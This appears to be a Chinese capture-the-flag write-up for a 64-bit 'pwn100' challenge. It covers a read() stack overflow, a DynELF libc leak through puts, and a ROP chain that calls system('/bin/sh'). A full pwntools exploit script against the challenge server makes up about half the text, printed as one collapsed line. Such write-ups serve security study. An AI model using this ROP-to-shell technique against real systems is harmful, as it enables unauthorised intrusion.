题目地址
本文参考
64位的程序,并且只有NX防护
用IDA可以看到主要的函数在sub_40063D,其中的参数从sub_40068E传入
那么a1就是v1,大小为0x40
a2就是200
题目存在read栈溢出漏洞,没有给libc,也没有直接利用的后门函数
但是有puts函数可以利用DynELF来泄露system函数,再用ROP链写入/bin/sh,调用system(/bin/sh)
在x64的程序中,传参方式不同于x86,x64优先采用寄存器rdi, rsi, rdx, rcx, r8, r9,超过部分和x86一样用压栈形式传参
因为puts只需要一个参数,所以我们要先找到pop rdi
找到写入/bin/sh的地址
这里需要用到x64通用gadget,具体参考这里
脚本如下
from pwn import * r = remote('111.198.29.45',56808) # r = process("./pwn100") elf = ELF("./pwn100") rop1 = 0x40075A rop2 = 0x400740 rdi_ret = 0x400763 start_addr = 0x400550 puts_plt = elf.plt['puts'] read_got = elf.got['read'] binsh_addr = 0x601000 def leak(addr): payload = "a" * 0x48 + p64(rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr) payload = payload.ljust(200, "a") r.send(payload) r.recvuntil("bye~\n") up = "" content = "" count = 0 while True: c = r.recv(numb=1, timeout=0.5) count += 1 if up == '\n' and c == "": content = content[:-1] + '\x00' break else: content += c up = c content = content[:4] log.info("%#x => %s" % (addr, (content or '').encode('hex'))) return content d = DynELF(leak, elf = elf) sys_addr = d.lookup('system', 'libc') log.info("system_addr => %#x", sys_addr) payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1) payload += p64(rop2)+"\x00" * 56+p64(start_addr) payload = payload.ljust(200, "a") r.send(payload) r.recvuntil("bye~\n") r.send("/bin/sh\x00") payload = "a" * 0x48 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) payload = payload.ljust(200, "a") r.send(payload) r.interactive()